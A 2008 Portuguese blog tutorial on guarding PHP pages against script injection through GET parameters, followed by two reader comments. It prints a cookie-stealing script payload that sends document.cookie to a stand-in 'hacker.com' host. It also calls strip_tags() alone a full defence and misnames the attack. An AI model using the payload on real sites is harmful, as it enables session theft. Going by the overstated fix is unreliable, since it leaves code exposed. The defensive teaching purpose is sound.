PHP Injection, como prever?

Novo aqui no site? Talvez gostaria de assinar o
RSS feed do site?

Publicado em: 06/11/2008
Área: PHP
Visualizações: 819
Comentário(s): 2

imprimir envie por e-mail compartilhe
Muitos usam defensores contra MySQL Injection, mas não sabem que o PHP Injection pode ser um ameaçador eminente. Quando você recebe parâmetros pelo GET, ou seja, via endereço do seu browser, como por exemplo:
http://www.seusite.com/pagina.php?id=20


Até aí tudo bem, você sabe que vai receber um valor inteiro, para ser usado com o array $_GET. Mas imagine se ao invés de 20 passe isto:
<script>window.location.href = 'http://hacker.com/cookie-stealer.php?c=' + document.cookie;</script>


Será completamente visível os cookies de que sua página gerou. Se você usa cookies como forma de guardar informações de login, tenha cuidado, pois há como obter estas informações com javascript.


Proteja seu php:

Para sua proteção, use a função strip_tags() do PHP para remover qualquer tag, seja ela javascript, HTML ou PHP.

Use seu GET da seguinte forma:
$id = strip_tags($_GET[ 'id' ]);

Assim você receberá apenas texto sem qualquer tag, e estará seguro de que não será direcionado a qualquer lugar ou terá informações roubadas através do GET.

Dicas, dúvidas, comentem abaixo.

veja mais
Preencha o formulário para comentar:
Nome:*

E-mail:* (não será exibido)

Site: (http://)

Comentário:*

Deseja receber os comentários no e-mail?

Anti-spam: (nova imagem)





Lino

   - Publicado em: 06/11/2008 - 13:35

Não conhecia essa funcionalidade do PHP! Legal que a aplicação é bem fácil e a função se encarrega de tudo obrigado pela dica!

 

Nicolas

   - Publicado em: 06/11/2008 - 13:39

É Lino, toda segurança não é o bastante.

 

Autor da matéria
Nícolas Müller
Sou um profissional da área de internet, trabalho como programador, designer e desenvolvedor de sites, faz cerca de 8 anos que estou atuando na área , sendo 5 .

Todas as matérias de Nícolas Müller

Publicidade
Seguir o Oficina da Net
RSS

RSS

RSS
Top matérias do mês
Matérias relacionadas

© 2005 - 2009 - Oficina da Net - v 4.0 - É proibida a reprodução parcial ou completa do conteúdo deste site sem autorização por escrito. Resolução adequada: 1024x768px.